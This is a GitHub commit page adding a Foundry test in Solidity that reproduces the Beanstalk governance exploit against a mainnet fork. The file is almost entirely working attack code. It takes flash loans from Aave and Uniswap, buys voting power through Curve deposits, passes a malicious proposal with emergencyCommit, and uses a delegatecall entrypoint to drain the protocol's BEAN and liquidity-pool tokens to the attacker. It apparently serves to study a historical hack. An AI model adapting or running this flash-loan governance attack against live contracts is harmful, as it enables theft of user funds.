Skip to content

Commit 62c9321

Browse files
committed
(WIP) beanstalk exploit
1 parent e59dad6 commit 62c9321

File tree

3 files changed

+533
-0
lines changed

3 files changed

+533
-0
lines changed
Lines changed: 195 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,195 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.17;
3+
4+
import {IERC20} from "../../interfaces/IERC20.sol";
5+
import "forge-std/Test.sol";
6+
import {TestHarness} from "../../TestHarness.sol";
7+
import "./Interfaces.sol";
8+
9+
contract Beanstattack {
10+
11+
IBeanStalk private constant beanstalk = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
12+
IERC20 private constant bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db);
13+
IAaveLendingPool private constant aave = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
14+
IUniswapV2Router02 private constant uniswap = IUniswapV2Router02(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
15+
IUniswapV2Factory private constant factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
16+
IERC20 private constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
17+
ICurvePool private constant crvbean = ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
18+
IERC20 private constant crv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
19+
ICurvePool private constant crvpool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
20+
21+
function propose() external payable {
22+
// proposing the bip requires a stake
23+
// this money must be owned when preparing the attack
24+
bean.approve(address(beanstalk), type(uint256).max);
25+
26+
address[] memory path = new address[](2);
27+
path[0] = uniswap.WETH();
28+
path[1] = address(bean); //we need bean tokens
29+
uniswap.swapExactETHForTokens{value: 100 ether}(0, path, address(this), block.timestamp + 1);
30+
31+
//depositing into bean
32+
beanstalk.depositBeans(bean.balanceOf(address(this)));
33+
34+
//the proposal is just calling the entrypoint function at this contract address
35+
//this will be performed using a delegate call from the beanstalk silo
36+
IBeanStalk.FacetCut[] memory cut = new IBeanStalk.FacetCut[](0);
37+
bytes memory data = abi.encodeWithSelector(Beanstattack.entrypoint.selector);
38+
beanstalk.propose(cut, address(this), data, 3);
39+
}
40+
41+
function entrypoint() external {
42+
//Don't use storage here as this is called though delegateCall
43+
//Here we have msg.sender as the attacker and this as the victim
44+
address token = 0x3a70DfA7d2262988064A2D051dd47521E43c9BdD; //BEAN 3CRV
45+
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
46+
47+
token = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D; //BEANLUSD
48+
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
49+
50+
token = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db; //BEAN
51+
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
52+
53+
token = 0x87898263B6C5BABe34b4ec53F22d98430b91e371; //UNI-BEAN
54+
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
55+
}
56+
57+
function attack() external {
58+
//Approvals
59+
//we need to deposit in crv liquidity pool and also approve aave so it can recover the funds
60+
//after the flashloan
61+
//approvals could be performed later, but there's no real benefit on it
62+
address[] memory addresses = new address[](2);
63+
addresses[0] = address(crvpool);
64+
addresses[1] = address(aave);
65+
66+
address[] memory tokens = new address[](3);
67+
tokens[0] = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); //DAI
68+
tokens[1] = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); //USDT
69+
tokens[2] = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); //USDC
70+
71+
for (uint i = 0; i < addresses.length; i++) {
72+
address a = addresses[i];
73+
//USDT fails when calling approve, so we use a low level call
74+
bytes memory data = abi.encodeWithSelector(bean.approve.selector, a, type(uint256).max);
75+
for (uint j = 0; j < tokens.length; j++) {
76+
address token = tokens[j];
77+
token.call(data);
78+
}
79+
}
80+
81+
//Aave flashloan - 350M DAI / 150M USDT / 500M USDC
82+
//Values used by the attacker
83+
uint256[] memory amounts = new uint256[](3);
84+
amounts[0] = 350000000;
85+
amounts[1] = 150000000;
86+
amounts[2] = 500000000;
87+
88+
//decimals could be included above for saving gas, this is probably clearer
89+
for (uint256 i = 0; i < 3; i++) {
90+
amounts[i] = amounts[i] * (10**uint256(IERC20(tokens[i]).decimals()));
91+
}
92+
//aave flashloans work by calling executeOperation and leaving allowance so it can recoverd the requested tokens + premiums
93+
aave.flashLoan(address(this), address[](tokens), amounts, new uint256[](3), address(this), new bytes(0), 0);
94+
95+
uint256 balance = crv.balanceOf(address(this));
96+
crvpool.remove_liquidity_one_coin(balance, 1, 0);
97+
}
98+
99+
//Aave flashloan callback
100+
function executeOperation(
101+
address[] calldata,
102+
uint256[] calldata amounts,
103+
uint256[] calldata premiums,
104+
address,
105+
bytes calldata
106+
) external returns (bool) {
107+
//Notice that the 3crv params have an order, which is not the case in uniswap
108+
uint256[3] memory params3;
109+
params3[0] = amounts[0];
110+
params3[1] = amounts[2]; //Inverted
111+
params3[2] = amounts[1];
112+
113+
//we add liquidity to 3curve pools so we can later get
114+
//crvbeans for depositing in beanstalk
115+
crvpool.add_liquidity(params3, uint256(0));
116+
117+
//hardcoding this value could save some gas
118+
IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(bean), address(weth)));
119+
require(address(pair) != address(0), "Missing unswap v2 bean pair");
120+
121+
//data parameter is used for identifying flash swaps vs normal swaps
122+
bytes memory data = abi.encodePacked(uint256(1));
123+
pair.swap(0, 10000000 * 10**bean.decimals(), address(this), data);
124+
125+
//these values are needed by aave to recover the funds
126+
//calling remove_liquidity_one_coin without calling remove_liquidity_imbalance first
127+
//will return all the value in only one token
128+
params3[0] = amounts[0] + premiums[0];
129+
params3[1] = amounts[2] + premiums[2];
130+
params3[2] = amounts[1] + premiums[1];
131+
crvpool.remove_liquidity_imbalance(params3, type(uint256).max);
132+
133+
return true;
134+
}
135+
136+
// Uniswap flashloan callback
137+
function uniswapV2Call(address, uint, uint amount, bytes calldata) external {
138+
//We should check the sender if sushiswap is also used so we can change the behavior accordingly
139+
//TODO: add sushiswap
140+
141+
//Uniswap flashloan is not necessary for this attack.
142+
//It could be done with the aave flashloan only, but we leave the example here for reference
143+
//though the money of this flashloan is not used
144+
//It was probably done to make sure that the attacker would have enough voting power
145+
crv.approve(address(crvbean), type(uint256).max); //for add_liquidity
146+
crvbean.approve(address(beanstalk), type(uint256).max); //for deposit
147+
148+
//we are omitting here sushi flashloan for 11M LUSD
149+
uint256[2] memory params2;
150+
params2[0] = 0;
151+
params2[1] = crv.balanceOf(address(this));
152+
crvbean.add_liquidity(params2, 0);
153+
beanstalk.deposit(address(crvbean), crvbean.balanceOf(address(this)));
154+
//We made our deposit in bean, we are ready to execute the bip
155+
beanstalk.emergencyCommit(18);
156+
157+
crvbean.remove_liquidity_one_coin(crvbean.balanceOf(address(this)), 1, 0);
158+
159+
//uniswap has this fixed fee, it must be paid explicitely
160+
uint256 repay = 1 + amount + (amount * 3) / 997;
161+
//this contract would be vulnerable here
162+
//advance bots could take advantage of the next line and steal funds at this point
163+
//so it would be wise to protect it by checking that msg.sender == pair (the uniswap,
164+
//contract that returns getPair)
165+
bean.transfer(msg.sender, repay);
166+
167+
}
168+
}
169+
170+
contract Exploit_Beanstalk is Test {
171+
function setUp() public {
172+
vm.createSelectFork("mainnet", 14595000); //we register the proposal here and wait 1 full day
173+
vm.deal(address(this), 100 ether);
174+
}
175+
176+
function test_attack() public {
177+
Beanstattack att = new Beanstattack();
178+
att.propose{value: 100 ether}();
179+
vm.warp(block.timestamp + 1 days); //proposal can be executed now
180+
att.attack();
181+
182+
//Stolen tokens should be converted into eth to remove third party intervention
183+
address token = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //USDC
184+
require(IERC20(token).balanceOf(address(att)) > 0);
185+
186+
token = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D; //BEANLUSD
187+
require(IERC20(token).balanceOf(address(att)) > 0);
188+
189+
token = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db; //BEAN
190+
require(IERC20(token).balanceOf(address(att)) > 0);
191+
192+
token = 0x87898263B6C5BABe34b4ec53F22d98430b91e371; //UNI-BEAN
193+
require(IERC20(token).balanceOf(address(att)) > 0);
194+
}
195+
}

0 commit comments

Comments
 (0)